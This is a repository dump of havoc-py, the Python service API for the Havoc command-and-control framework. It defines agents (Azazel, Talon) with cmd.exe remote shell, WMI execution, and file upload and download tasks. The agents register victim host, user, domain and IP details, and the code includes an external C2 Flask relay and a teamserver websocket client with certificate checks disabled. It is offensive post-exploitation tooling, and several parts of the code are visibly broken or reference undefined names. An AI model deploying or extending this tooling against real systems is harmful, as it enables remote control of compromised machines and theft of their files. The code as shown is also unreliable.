├── __init__.py ├── havoc ├── __pycache__ │ ├── agent.cpython-310.pyc │ ├── externalc2.cpython-310.pyc │ └── service.cpython-310.pyc ├── agent.py ├── externalc2.py └── service.py ├── havoc_agent.py ├── havoc_agent_talon.py ├── havoc_externalc2.py ├── havoc_service_connect.py ├── install.sh ├── minimalwiki.md └── requirements.txt /__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /havoc/__pycache__/agent.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HavocFramework/havoc-py/212d092129bfad9708ab4d8987269532aa7bc9cd/havoc/__pycache__/agent.cpython-310.pyc -------------------------------------------------------------------------------- /havoc/__pycache__/externalc2.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HavocFramework/havoc-py/212d092129bfad9708ab4d8987269532aa7bc9cd/havoc/__pycache__/externalc2.cpython-310.pyc -------------------------------------------------------------------------------- /havoc/__pycache__/service.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HavocFramework/havoc-py/212d092129bfad9708ab4d8987269532aa7bc9cd/havoc/__pycache__/service.cpython-310.pyc -------------------------------------------------------------------------------- /havoc/agent.py: -------------------------------------------------------------------------------- 1 | from asyncio import Task 2 | import base64 3 | import json 4 | import struct 5 | import uuid 6 | import random 7 | import string 8 | from struct import pack, calcsize 9 | 10 | from black import out 11 | from itsdangerous import base64_encode 12 | 13 | 14 | def build_request(head_type, body: dict) -> dict: 15 | return { 16 | "Head": { 17 | "Type": head_type 18 | }, 19 | "Body": body 20 | } 21 | 22 | 23 | class Packer: 24 | buffer: bytes = b'' 25 | length: int = 0 26 | 27 | def get_buffer( self ) -> bytes: 28 | return pack( " None: 31 | 32 | self.buffer += pack( " None: 38 | 39 | if isinstance( data, str ): 40 | data = data.encode( "utf-8" ) 41 | 42 | fmt = " None: 48 | 49 | print( f"[*] Buffer: [{ self.length }] [{ self.get_buffer() }]" ) 50 | 51 | return 52 | 53 | 54 | class Parser: 55 | buffer: bytes = b'' 56 | length: int = 0 57 | 58 | def __init__( self, buffer, length ): 59 | 60 | self.buffer = buffer 61 | self.length = length 62 | 63 | return 64 | 65 | def parse_int( self ) -> int: 66 | 67 | val = struct.unpack( ">i", self.buffer[ :4 ] ) 68 | self.buffer = self.buffer[ 4: ] 69 | 70 | return val[ 0 ] 71 | 72 | def parse_bytes( self ) -> bytes: 73 | 74 | length = self.parse_int() 75 | 76 | buf = self.buffer[ :length ] 77 | self.buffer = self.buffer[ length: ] 78 | 79 | return buf 80 | 81 | def parse_pad( self, length: int ) -> bytes: 82 | 83 | buf = self.buffer[ :length ] 84 | self.buffer = self.buffer[ length: ] 85 | 86 | return buf 87 | 88 | def parse_str( self ) -> str: 89 | return self.parse_bytes().decode( 'utf-8' ) 90 | 91 | class CommandParam: 92 | Name: str 93 | IsFilePath: bool 94 | IsOptional: bool 95 | 96 | def __init__( self, name: str, is_file_path: bool, is_optional: bool ): 97 | 98 | self.Name = name 99 | self.IsFilePath = is_file_path 100 | self.IsOptional = is_optional 101 | 102 | return 103 | 104 | 105 | class Command: 106 | Name: str 107 | Description: str 108 | Help: str 109 | NeedAdmin: bool 110 | Mitr: list[ str ] 111 | Params: list[ CommandParam ] 112 | CommandId: int 113 | 114 | def job_generate( self, arguments: dict ) -> bytes: 115 | pass 116 | 117 | def get_dict( self ) -> dict: 118 | return { 119 | "Name": self.Name, 120 | "Author": self.Author, # todo: remove this 121 | "Description": self.Description, 122 | "Help": self.Help, 123 | "NeedAdmin": self.NeedAdmin, 124 | "Mitr": self.Mitr, 125 | } 126 | 127 | 128 | class AgentType: 129 | Name: str 130 | Author: str 131 | Version: str 132 | MagicValue: int 133 | Description: str 134 | Arch = list[ str ] 135 | Formats = list[ dict ] 136 | Commands: list[ Command ] 137 | BuildingConfig = dict 138 | 139 | _Service_instance = None 140 | 141 | _current_data: dict = {} 142 | 143 | def task_prepare( self, arguments: dict ) -> bytes: 144 | 145 | for cmd in self.Commands: 146 | if arguments[ "Command" ] == cmd.Name: 147 | return cmd.job_generate( arguments ) 148 | 149 | def generate( self, config: dict ) -> None: 150 | pass 151 | 152 | def download_file( self, agent_id: str, file_name: str, size: int, content: str ) -> None: 153 | ContentB64 = base64.b64encode( content.encode( 'utf-8' ) ).decode( 'utf-8' ) 154 | 155 | self._Service_instance.Socket.send( 156 | json.dumps( 157 | { 158 | "Head": { 159 | "Type": "Agent" 160 | }, 161 | "Body": { 162 | "Type" : "AgentOutput", 163 | "AgentID" : agent_id, 164 | "Callback" : { 165 | "MiscType" : "download", 166 | "FileName" : file_name, 167 | "Size" : size, 168 | "Content" : ContentB64 169 | } 170 | } 171 | } 172 | ) 173 | ) 174 | 175 | return 176 | 177 | def console_message( self, agent_id: str, type: str, message: str, output: str ) -> None: 178 | 179 | self._Service_instance.Socket.send( 180 | json.dumps( 181 | { 182 | "Head": { 183 | "Type": "Agent" 184 | }, 185 | "Body": { 186 | "Type" : "AgentOutput", 187 | "AgentID" : agent_id, 188 | "Callback" : { 189 | "Type" : type, 190 | "Message": message, 191 | "Output" : output 192 | } 193 | } 194 | } 195 | ) 196 | ) 197 | 198 | return 199 | 200 | def get_task_queue( self, AgentInfo: dict ) -> bytes: 201 | 202 | RandID : str = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(6)) 203 | Tasks : bytes = b'' 204 | 205 | self._Service_instance.Socket.send( 206 | json.dumps( 207 | { 208 | "Head": { 209 | "Type": "Agent" 210 | }, 211 | "Body": { 212 | "Type" : "AgentTask", 213 | "Agent": AgentInfo, 214 | "Task": "Get", 215 | "RandID": RandID 216 | } 217 | } 218 | ) 219 | ) 220 | 221 | while ( True ): 222 | if RandID in self._current_data: 223 | Tasks = self._current_data[ RandID ] 224 | del self._current_data[ RandID ] 225 | break 226 | else: 227 | continue 228 | 229 | return Tasks 230 | 231 | def register( self, agent_header: dict, register_info: dict ): 232 | self._Service_instance.Socket.send( 233 | json.dumps( 234 | { 235 | "Head": { 236 | "Type": "Agent" 237 | }, 238 | "Body": { 239 | "Type": "AgentRegister", 240 | "AgentHeader" : agent_header, 241 | "RegisterInfo": register_info 242 | } 243 | } 244 | ) 245 | ) 246 | 247 | return 248 | 249 | def response( self, response: dict ) -> bytes: 250 | pass 251 | 252 | def builder_send_message(self, client_id: str, msg_type: str, message: str): 253 | 254 | self._Service_instance.Socket.send( 255 | json.dumps( 256 | { 257 | "Head": { 258 | "Type": "Agent" 259 | }, 260 | "Body": { 261 | "ClientID": client_id, 262 | "Type": "AgentBuild", 263 | "Message": { 264 | "Type": msg_type, 265 | "Message": message 266 | } 267 | } 268 | } 269 | ) 270 | ) 271 | 272 | return 273 | 274 | def builder_send_payload( self, client_id: str, filename: str, payload: bytes ): 275 | 276 | self._Service_instance.Socket.send( 277 | json.dumps( 278 | build_request("Agent", { 279 | "ClientID": client_id, 280 | "Type": "AgentBuild", 281 | "Message": { 282 | "FileName": filename, 283 | "Payload": base64.b64encode(payload).decode('utf-8') 284 | } 285 | }) 286 | ) 287 | ) 288 | 289 | return 290 | 291 | def get_dict( self ) -> dict: 292 | AgentCommands: list[ dict ] = [] 293 | 294 | for command in self.Commands: 295 | command_params: list[dict] = [] 296 | 297 | for param in command.Params: 298 | command_params.append( { 299 | "Name": param.Name, 300 | "IsFilePath": param.IsFilePath, 301 | "IsOptional": param.IsOptional, 302 | } ) 303 | 304 | AgentCommands.append( { 305 | "Name": command.Name, 306 | "Description": command.Description, 307 | "Help": command.Help, 308 | "NeedAdmin": command.NeedAdmin, 309 | "Mitr": command.Mitr, 310 | "Params": command_params 311 | } ) 312 | 313 | return { 314 | "Name": self.Name, 315 | "MagicValue": hex( self.MagicValue ), 316 | "BuildingConfig": self.BuildingConfig, 317 | "Arch": self.Arch, 318 | "Formats": self.Formats, 319 | "Author": self.Author, 320 | "Description": self.Description, 321 | "Commands": AgentCommands 322 | } 323 | -------------------------------------------------------------------------------- /havoc/externalc2.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | import requests 4 | 5 | 6 | class ExternalC2: 7 | Server: str = '' 8 | 9 | def __init__( self, server ) -> None: 10 | self.Server = server 11 | return 12 | 13 | def transmit( self, data ) -> bytes: 14 | agent_response = b'' 15 | 16 | try: 17 | response = requests.post( self.Server, data=data ) 18 | agent_response = base64.b64decode(response.text) 19 | 20 | except Exception as e: 21 | print( f"[-] Exception: {e}" ) 22 | 23 | return agent_response 24 | 25 | -------------------------------------------------------------------------------- /havoc/service.py: -------------------------------------------------------------------------------- 1 | import base64 2 | from cgi import print_form 3 | 4 | from havoc.agent import AgentType 5 | from havoc.externalc2 import ExternalC2 6 | from threading import Thread 7 | 8 | import websocket 9 | import json 10 | import ssl 11 | 12 | 13 | def build_request(head_type, body: dict) -> dict: 14 | return { 15 | "Head": { 16 | "Type": head_type 17 | }, 18 | "Body": body 19 | } 20 | 21 | 22 | class HavocService: 23 | 24 | Socket: websocket.WebSocketApp = None 25 | Teamserver: str = None 26 | Endpoint: str = None 27 | Password: str = None 28 | Connected: bool = False 29 | RegisteredAgent: AgentType = None 30 | 31 | def __init__(self, endpoint: str, password: str): 32 | 33 | if len(endpoint) > 0: 34 | self.Endpoint = endpoint 35 | else: 36 | print("[!] endpoint not specified.") 37 | 38 | if len(password) > 0: 39 | self.Password = password 40 | else: 41 | print("[!] password not specified.") 42 | 43 | self.Socket = websocket.WebSocketApp( 44 | endpoint, 45 | on_error=self.__ws_on_error, 46 | on_message=self.__ws_on_message, 47 | on_open=self.__ws_on_open 48 | ) 49 | 50 | Thread( target=self.Socket.run_forever, kwargs={'sslopt': {'check_hostname': False, "cert_reqs": ssl.CERT_NONE}} ).start() 51 | 52 | while True: 53 | if self.Connected: 54 | break 55 | 56 | return 57 | 58 | def __ws_on_error(self, wsapp, error): 59 | print("[-] Websocket error:", error) 60 | 61 | def __ws_on_open(self, socket): 62 | print("[*] teamserver socket opened") 63 | 64 | request = json.dumps( 65 | build_request("Register", { 66 | "Password": self.Password 67 | }), 68 | sort_keys=True 69 | ) 70 | 71 | socket.send( request ) 72 | return 73 | 74 | def __ws_on_message( self, ws, data ): 75 | print( "[*] New Message" ) 76 | 77 | data = json.loads( data ) 78 | 79 | t = Thread(target=self.service_dispatch, args=(data,)) 80 | t.start() 81 | 82 | # self.service_dispatch( json.loads( data ) ) 83 | 84 | return 85 | 86 | def register_agent( self, agent_type: AgentType ): 87 | 88 | # todo: check BuildConfig if everything is by rule 89 | 90 | if self.RegisteredAgent is None: 91 | print( "[*] register agent" ) 92 | 93 | self.RegisteredAgent = agent_type 94 | self.RegisteredAgent._Service_instance = self 95 | 96 | request = json.dumps( 97 | build_request( "RegisterAgent", { 98 | "Agent": agent_type.get_dict() 99 | } ), 100 | sort_keys=True 101 | ) 102 | 103 | self.Socket.send( request ) 104 | else: 105 | print( "[!] Agent already registered" ) 106 | 107 | return 108 | 109 | def register_externalc2( self, externalc2: ExternalC2 ): 110 | 111 | if self.ExternalC2 is None: 112 | 113 | self.ExternalC2 = externalc2 114 | self.ExternalC2._Service_instance = self 115 | 116 | request = json.dumps( 117 | build_request("RegisterAgent", { 118 | "Agent": agent_type.get_dict() 119 | }), 120 | sort_keys=True 121 | ) 122 | 123 | self.Socket.send(request) 124 | else: 125 | print( "[-] External C2 already registered" ) 126 | 127 | return 128 | 129 | def service_dispatch( self, data: dict ): 130 | 131 | match data[ "Head" ][ "Type" ]: 132 | 133 | case "Register": 134 | 135 | self.Connected = data[ "Body" ][ "Success" ] 136 | 137 | return 138 | 139 | case "RegisterAgent": 140 | return 141 | 142 | case "Agent": 143 | 144 | match data[ "Body" ][ "Type" ]: 145 | 146 | case "AgentTask": 147 | 148 | if data[ "Body" ][ "Task" ] == "Get": 149 | RandID = data[ "Body" ][ "RandID" ] 150 | Tasks = base64.b64decode( data[ "Body" ][ "TasksQueue" ] ) 151 | 152 | print( f"Set TasksQueue to {RandID} = {Tasks.hex()}" ) 153 | 154 | self.RegisteredAgent._current_data[ RandID ] = Tasks 155 | 156 | elif data[ "Body" ][ "Task" ] == "Add": 157 | data[ "Body" ][ "Command" ] = base64.b64encode( self.RegisteredAgent.task_prepare( data[ 'Body' ][ 'Command' ] ) ).decode( 'utf-8' ) 158 | 159 | self.Socket.send( json.dumps( data ) ) 160 | 161 | case "AgentResponse": 162 | 163 | agent_response = self.RegisteredAgent.response( data[ "Body" ] ) 164 | data[ "Body" ][ "Response" ] = base64.b64encode( agent_response ).decode( 'utf-8' ) 165 | 166 | self.Socket.send( json.dumps( data ) ) 167 | 168 | case "AgentBuild": 169 | 170 | self.RegisteredAgent.generate( data[ "Body" ] ) 171 | 172 | return 173 | -------------------------------------------------------------------------------- /havoc_agent.py: -------------------------------------------------------------------------------- 1 | from havoc.service import HavocService 2 | from havoc.agent import * 3 | 4 | class CommandShell(Command): 5 | CommandId = 18 6 | Name = "shell" 7 | Description = "executes commands using cmd.exe" 8 | Help = "" 9 | NeedAdmin = False 10 | Params = [ 11 | CommandParam( 12 | name="commands", 13 | is_file_path=False, 14 | is_optional=False 15 | ) 16 | ] 17 | Mitr = [] 18 | 19 | def job_generate(self, arguments: dict) -> bytes: 20 | print("[*] job generate") 21 | packer = Packer() 22 | 23 | AesKey = base64.b64decode(arguments["__meta_AesKey"]) 24 | AesIV = base64.b64decode(arguments["__meta_AesIV"]) 25 | 26 | commands = "/C " + arguments["commands"] 27 | packer.add_data(commands) 28 | 29 | task_id = int(arguments["TaskID"], 16) 30 | job = TaskJob( 31 | command=self.CommandId, 32 | task_id=task_id, 33 | data=packer.buffer.decode('utf-8'), 34 | aes_key=AesKey, 35 | aes_iv=AesIV 36 | ) 37 | 38 | return job.generate()[4:] 39 | 40 | 41 | class CommandWmiExec(Command): 42 | CommandId = 19 43 | Name = "wmi-execute" 44 | Description = "executes wmi commands" 45 | Help = "" 46 | NeedAdmin = False 47 | Params = [ 48 | CommandParam( 49 | name="commands", 50 | is_file_path=False, 51 | is_optional=False 52 | ) 53 | ] 54 | Mitr = [] 55 | 56 | def job_generate(self, arguments: dict) -> bytes: 57 | print("[*] job generate") 58 | packer = Packer() 59 | 60 | AesKey = base64.b64decode(arguments["__meta_AesKey"]) 61 | AesIV = base64.b64decode(arguments["__meta_AesIV"]) 62 | 63 | packer.add_data(arguments["commands"]) 64 | 65 | task_id = int(arguments["TaskID"], 16) 66 | job = TaskJob( 67 | command=self.CommandId, 68 | task_id=task_id, 69 | data=packer.buffer.decode('utf-8'), 70 | aes_key=AesKey, 71 | aes_iv=AesIV 72 | ) 73 | 74 | return job.generate()[4:] 75 | 76 | def response( self, resp: dict ) -> dict: 77 | 78 | decoded = base64.b64decode(resp["Response"]) 79 | parser = Parser(decoded, len(decoded)) 80 | output = parser.parse_bytes() 81 | 82 | return { 83 | "Type": "Good", 84 | "Message": f"Received WMI Output [{len(output)} bytes]", 85 | "Output": output.decode('utf-8') 86 | } 87 | 88 | 89 | class Azazel(AgentType): 90 | Name = "Azazel" 91 | Author = "@C5pider" 92 | Version = "0.1" 93 | Description = f"""Test Description version: {Version}""" 94 | MagicValue = 0xdeaddead 95 | 96 | Formats = [ 97 | { 98 | "Name": "Windows Executable", 99 | "Extension": "exe", 100 | }, 101 | { 102 | "Name": "Windows Dll", 103 | "Extension": "dll", 104 | }, 105 | { 106 | "Name": "Windows Service Exe", 107 | "Extension": "exe", 108 | }, 109 | { 110 | "Name": "Windows Reflective Dll", 111 | "Extension": "dll", 112 | }, 113 | { 114 | "Name": "Windows Raw Binary", 115 | "Extension": "bin", 116 | }, 117 | ] 118 | 119 | BuildingConfig = { 120 | 121 | "TestText": "DefaultValue", 122 | 123 | "TestList": [ 124 | "list 1", 125 | "list 2", 126 | "list 3", 127 | ], 128 | 129 | "TestBool": True, 130 | 131 | "TestObject": { 132 | "TestText": "DefaultValue", 133 | "TestList": [ 134 | "list 1", 135 | "list 2", 136 | "list 3", 137 | ], 138 | "TestBool": True, 139 | } 140 | } 141 | 142 | SupportedOS = [ 143 | SupportedOS.Windows 144 | ] 145 | 146 | Commands = [ 147 | CommandShell(), 148 | CommandWmiExec(), 149 | ] 150 | 151 | def generate( self, config: dict ) -> None: 152 | 153 | self.builder_send_message( config[ 'ClientID' ], "Info", f"hello from service builder" ) 154 | self.builder_send_message( config[ 'ClientID' ], "Info", f"Options Config: {config['Options']}" ) 155 | self.builder_send_message( config[ 'ClientID' ], "Info", f"Agent Config: {config['Config']}" ) 156 | 157 | self.builder_send_payload( config[ 'ClientID' ], self.Name + ".bin", "test bytes".encode('utf-8') ) 158 | 159 | def command_not_found(self, response: dict) -> dict: 160 | if response["CommandID"] == 90: # CALLBACK_OUTPUT 161 | 162 | decoded = base64.b64decode(response["Response"]) 163 | parser = Parser(decoded, len(decoded)) 164 | output = parser.parse_bytes() 165 | 166 | return { 167 | "Type": "Good", 168 | "Message": f"Received Output [{len(output)} bytes]", 169 | "Output": output.decode('utf-8') 170 | } 171 | 172 | return { 173 | "Type": "Error", 174 | "Message": f"Command not found: [CommandID: {response['CommandID']}]", 175 | } 176 | 177 | 178 | def main(): 179 | Havoc_Azazel = Azazel() 180 | Havoc_Service = HavocService( 181 | endpoint="wss://192.168.0.148:40056/test", 182 | password="password1234" 183 | ) 184 | 185 | Havoc_Service.register_agent(Havoc_Azazel) 186 | 187 | return 188 | 189 | 190 | if __name__ == '__main__': 191 | main() 192 | -------------------------------------------------------------------------------- /havoc_agent_talon.py: -------------------------------------------------------------------------------- 1 | from base64 import b64decode 2 | 3 | from havoc.service import HavocService 4 | from havoc.agent import * 5 | 6 | COMMAND_REGISTER = 0x100 7 | COMMAND_GET_JOB = 0x101 8 | COMMAND_NO_JOB = 0x102 9 | COMMAND_SHELL = 0x152 10 | COMMAND_UPLOAD = 0x153 11 | COMMAND_DOWNLOAD = 0x154 12 | COMMAND_EXIT = 0x155 13 | COMMAND_OUTPUT = 0x200 14 | 15 | # ==================== 16 | # ===== Commands ===== 17 | # ==================== 18 | class CommandShell(Command): 19 | CommandId = COMMAND_SHELL 20 | Name = "shell" 21 | Description = "executes commands using cmd.exe" 22 | Help = "" 23 | NeedAdmin = False 24 | Params = [ 25 | CommandParam( 26 | name="commands", 27 | is_file_path=False, 28 | is_optional=False 29 | ) 30 | ] 31 | Mitr = [] 32 | 33 | def job_generate( self, arguments: dict ) -> bytes: 34 | Task = Packer() 35 | 36 | Task.add_int( self.CommandId ) 37 | Task.add_data( "c:\windows\system32\cmd.exe /c " + arguments[ 'commands' ] ) 38 | 39 | return Task.buffer 40 | 41 | class CommandUpload( Command ): 42 | CommandId = COMMAND_UPLOAD 43 | Name = "upload" 44 | Description = "uploads a file to the host" 45 | Help = "" 46 | NeedAdmin = False 47 | Mitr = [] 48 | Params = [ 49 | CommandParam( 50 | name="local_file", 51 | is_file_path=True, 52 | is_optional=False 53 | ), 54 | 55 | CommandParam( 56 | name="remote_file", 57 | is_file_path=False, 58 | is_optional=False 59 | ) 60 | ] 61 | 62 | def job_generate( self, arguments: dict ) -> bytes: 63 | 64 | Task = Packer() 65 | remote_file = arguments[ 'remote_file' ] 66 | fileData = b64decode( arguments[ 'local_file' ] ) 67 | 68 | Task.add_int( self.CommandId ) 69 | Task.add_data( remote_file ) 70 | Task.add_data( fileData ) 71 | 72 | return Task.buffer 73 | 74 | class CommandDownload( Command ): 75 | CommandId = COMMAND_DOWNLOAD 76 | Name = "download" 77 | Description = "downloads the requested file" 78 | Help = "" 79 | NeedAdmin = False 80 | Mitr = [] 81 | Params = [ 82 | CommandParam( 83 | name="remote_file", 84 | is_file_path=False, 85 | is_optional=False 86 | ), 87 | ] 88 | 89 | def job_generate( self, arguments: dict ) -> bytes: 90 | 91 | Task = Packer() 92 | remote_file = arguments[ 'remote_file' ] 93 | 94 | Task.add_int( self.CommandId ) 95 | Task.add_data( remote_file ) 96 | 97 | return Task.buffer 98 | 99 | class CommandExit( Command ): 100 | CommandId = COMMAND_EXIT 101 | Name = "exit" 102 | Description = "tells the talon agent to exit" 103 | Help = "" 104 | NeedAdmin = False 105 | Mitr = [] 106 | Params = [] 107 | 108 | def job_generate( self, arguments: dict ) -> bytes: 109 | 110 | Task = Packer() 111 | 112 | Task.add_int( self.CommandId ) 113 | 114 | return Task.buffer 115 | 116 | # ======================= 117 | # ===== Agent Class ===== 118 | # ======================= 119 | class Talon(AgentType): 120 | Name = "Talon" 121 | Author = "@C5pider" 122 | Version = "0.1" 123 | Description = f"""Talon 3rd party agent for Havoc""" 124 | MagicValue = 0x616c6f6e # 'talon' 125 | 126 | Arch = [ 127 | "x64", 128 | "x86", 129 | ] 130 | 131 | Formats = [ 132 | { 133 | "Name": "Windows Executable", 134 | "Extension": "exe", 135 | }, 136 | ] 137 | 138 | BuildingConfig = { 139 | "Sleep": "10" 140 | } 141 | 142 | Commands = [ 143 | CommandShell(), 144 | CommandUpload(), 145 | CommandDownload(), 146 | CommandExit(), 147 | ] 148 | 149 | # generate. this function is getting executed when the Havoc client requests for a binary/executable/payload. you can generate your payloads in this function. 150 | def generate( self, config: dict ) -> None: 151 | 152 | print( f"config: {config}" ) 153 | 154 | # builder_send_message. this function send logs/messages to the payload build for verbose information or sending errors (if something went wrong). 155 | self.builder_send_message( config[ 'ClientID' ], "Info", f"hello from service builder" ) 156 | self.builder_send_message( config[ 'ClientID' ], "Info", f"Options Config: {config['Options']}" ) 157 | self.builder_send_message( config[ 'ClientID' ], "Info", f"Agent Config: {config['Config']}" ) 158 | 159 | # build_send_payload. this function send back your generated payload. 160 | self.builder_send_payload( config[ 'ClientID' ], self.Name + ".bin", "test bytes".encode('utf-8') ) 161 | 162 | # this function handles incomming requests based on our magic value. 163 | def response( self, response: dict ) -> bytes: 164 | 165 | agent_header = response[ "AgentHeader" ] 166 | agent_response = b64decode( response[ "Response" ] ) 167 | response_parser = Parser( agent_response, len(agent_response) ) 168 | Command = response_parser.parse_int() 169 | 170 | if response[ "Agent" ] == None: 171 | # so when the Agent field is empty this either means that the agent doesn't exists/is not registered or we fucked up 172 | 173 | if Command == COMMAND_REGISTER: 174 | print( "[*] Is agent register request" ) 175 | 176 | RegisterInfo = { 177 | "AgentID" : response_parser.parse_int(), 178 | "Hostname" : response_parser.parse_str(), 179 | "Username" : response_parser.parse_str(), 180 | "Domain" : response_parser.parse_str(), 181 | "InternalIP" : response_parser.parse_str(), 182 | "Process Path" : response_parser.parse_str(), 183 | "Process ID" : str(response_parser.parse_int()), 184 | "Process Parent ID" : str(response_parser.parse_int()), 185 | "Process Arch" : response_parser.parse_int(), 186 | "Process Elevated" : response_parser.parse_int(), 187 | "OS Build" : str(response_parser.parse_int()) + "." + str(response_parser.parse_int()) + "." + str(response_parser.parse_int()) + "." + str(response_parser.parse_int()) + "." + str(response_parser.parse_int()), 188 | "OS Arch" : response_parser.parse_int(), 189 | "Sleep" : response_parser.parse_int(), 190 | } 191 | 192 | print( f"[*] RegisterInfo: {RegisterInfo}" ) 193 | 194 | RegisterInfo[ "Process Name" ] = RegisterInfo[ "Process Path" ].split( "\\" )[-1] 195 | 196 | # this OS info is going to be displayed on the GUI Session table. 197 | RegisterInfo[ "OS Version" ] = RegisterInfo[ "OS Version" ] # "Windows Some version" 198 | 199 | if RegisterInfo[ "OS Arch" ] == 0: 200 | RegisterInfo[ "OS Arch" ] = "x86" 201 | elif RegisterInfo[ "OS Arch" ] == 9: 202 | RegisterInfo[ "OS Arch" ] = "x64/AMD64" 203 | elif RegisterInfo[ "OS Arch" ] == 5: 204 | RegisterInfo[ "OS Arch" ] = "ARM" 205 | elif RegisterInfo[ "OS Arch" ] == 12: 206 | RegisterInfo[ "OS Arch" ] = "ARM64" 207 | elif RegisterInfo[ "OS Arch" ] == 6: 208 | RegisterInfo[ "OS Arch" ] = "Itanium-based" 209 | else: 210 | RegisterInfo[ "OS Arch" ] = "Unknown (" + RegisterInfo[ "OS Arch" ] + ")" 211 | 212 | # Process Arch 213 | if RegisterInfo[ "Process Arch" ] == 0: 214 | RegisterInfo[ "Process Arch" ] = "Unknown" 215 | 216 | elif RegisterInfo[ "Process Arch" ] == 1: 217 | RegisterInfo[ "Process Arch" ] = "x86" 218 | 219 | elif RegisterInfo[ "Process Arch" ] == 2: 220 | RegisterInfo[ "Process Arch" ] = "x64" 221 | 222 | elif RegisterInfo[ "Process Arch" ] == 3: 223 | RegisterInfo[ "Process Arch" ] = "IA64" 224 | 225 | self.register( agent_header, RegisterInfo ) 226 | 227 | return RegisterInfo[ 'AgentID' ].to_bytes( 4, 'little' ) # return the agent id to the agent 228 | 229 | else: 230 | print( "[-] Is not agent register request" ) 231 | else: 232 | print( f"[*] Something else: {Command}" ) 233 | 234 | AgentID = response[ "Agent" ][ "NameID" ] 235 | 236 | if Command == COMMAND_GET_JOB: 237 | print( "[*] Get list of jobs and return it." ) 238 | 239 | Tasks = self.get_task_queue( response[ "Agent" ] ) 240 | 241 | # if there is no job just send back a COMMAND_NO_JOB command. 242 | if len(Tasks) == 0: 243 | Tasks = COMMAND_NO_JOB.to_bytes( 4, 'little' ) 244 | 245 | print( f"Tasks: {Tasks.hex()}" ) 246 | return Tasks 247 | 248 | elif Command == COMMAND_OUTPUT: 249 | 250 | Output = response_parser.parse_str() 251 | print( "[*] Output: \n" + Output ) 252 | 253 | self.console_message( AgentID, "Good", "Received Output:", Output ) 254 | 255 | elif Command == COMMAND_UPLOAD: 256 | 257 | FileSize = response_parser.parse_int() 258 | FileName = response_parser.parse_str() 259 | 260 | self.console_message( AgentID, "Good", f"File was uploaded: {FileName} ({FileSize} bytes)", "" ) 261 | 262 | elif Command == COMMAND_DOWNLOAD: 263 | 264 | FileName = response_parser.parse_str() 265 | FileContent = response_parser.parse_str() 266 | 267 | self.console_message( AgentID, "Good", f"File was downloaded: {FileName} ({len(FileContent)} bytes)", "" ) 268 | 269 | self.download_file( AgentID, FileName, len(FileContent), FileContent ) 270 | 271 | else: 272 | self.console_message( AgentID, "Error", "Command not found: %4x" % Command, "" ) 273 | 274 | return b'' 275 | 276 | 277 | def main(): 278 | Havoc_Talon = Talon() 279 | Havoc_Service = HavocService( 280 | endpoint="wss://192.168.0.148:40056/service-endpoint", 281 | password="service-password" 282 | ) 283 | 284 | Havoc_Service.register_agent(Havoc_Talon) 285 | 286 | return 287 | 288 | 289 | if __name__ == '__main__': 290 | main() 291 | -------------------------------------------------------------------------------- /havoc_externalc2.py: -------------------------------------------------------------------------------- 1 | from havoc.externalc2 import ExternalC2 2 | from flask import Flask, request 3 | 4 | import logging 5 | import sys 6 | 7 | externalc2 = ExternalC2( "http://127.0.0.1:40056/ExtEndpoint" ) 8 | 9 | FlaskApp: Flask = Flask(__name__) 10 | 11 | # shut flask output up 12 | log = logging.getLogger('werkzeug') 13 | log.disabled = True 14 | cli = sys.modules['flask.cli'] 15 | cli.show_server_banner = lambda *x: None 16 | 17 | 18 | # ====== Flask C2 Server ====== 19 | @FlaskApp.route("/index.php", methods=['POST']) 20 | def ec2_index(): 21 | if request.method == 'POST': 22 | data = request.get_data() 23 | 24 | if len(data) > 0: 25 | print(f"data[{len(data)}]: {data.hex()}") 26 | respond = externalc2.transmit(data) 27 | print(f"respond[{len(respond)}]: {respond.hex()}") 28 | return respond 29 | 30 | return '' 31 | 32 | 33 | def StartFlaskServer(): 34 | 35 | print("[*] Start Flask HTTP server") 36 | FlaskApp.run(host="192.168.0.148", port=8888, debug=True, use_reloader=False) 37 | 38 | return 39 | 40 | 41 | # ===== Main ====== 42 | def main() -> None: 43 | print("[*] External C2 [written by @C5pider for Havoc]") 44 | 45 | StartFlaskServer() 46 | 47 | return 48 | 49 | 50 | if __name__ == '__main__': 51 | main() 52 | -------------------------------------------------------------------------------- /havoc_service_connect.py: -------------------------------------------------------------------------------- 1 | from havoc.service import HavocService 2 | 3 | 4 | def main(): 5 | havoc_service = HavocService( 6 | endpoint="wss://192.168.0.148:40056/test", 7 | password="password1234" 8 | ) 9 | 10 | print( "[*] Connected to Havoc Service" ) 11 | 12 | return 13 | 14 | 15 | if __name__ == '__main__': 16 | main() 17 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | sudo add-apt-repository ppa:deadsnakes/ppa 2 | sudo apt update 3 | sudo apt install python3.10 python3.10-dev 4 | sudo apt install python3.10-distutils 5 | sudo apt install python3.10-venv 6 | python3.10 -m venv venv 7 | source venv/bin/activate 8 | pip install -r requirements.txt -------------------------------------------------------------------------------- /minimalwiki.md: -------------------------------------------------------------------------------- 1 | The Havoc API requires Python 3.10, install.sh script will help you create the necessary environment to use it on Ubuntu 20.04: 2 | 3 | bash install.sh 4 | 5 | Ubuntu 22.04 comes with the necessary version of Python so it would only be necessary to run: 6 | 7 | pip3 install -r requirements.txt -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | black 2 | flask 3 | itsdangerous 4 | requests 5 | websocket 6 | websocket-client --------------------------------------------------------------------------------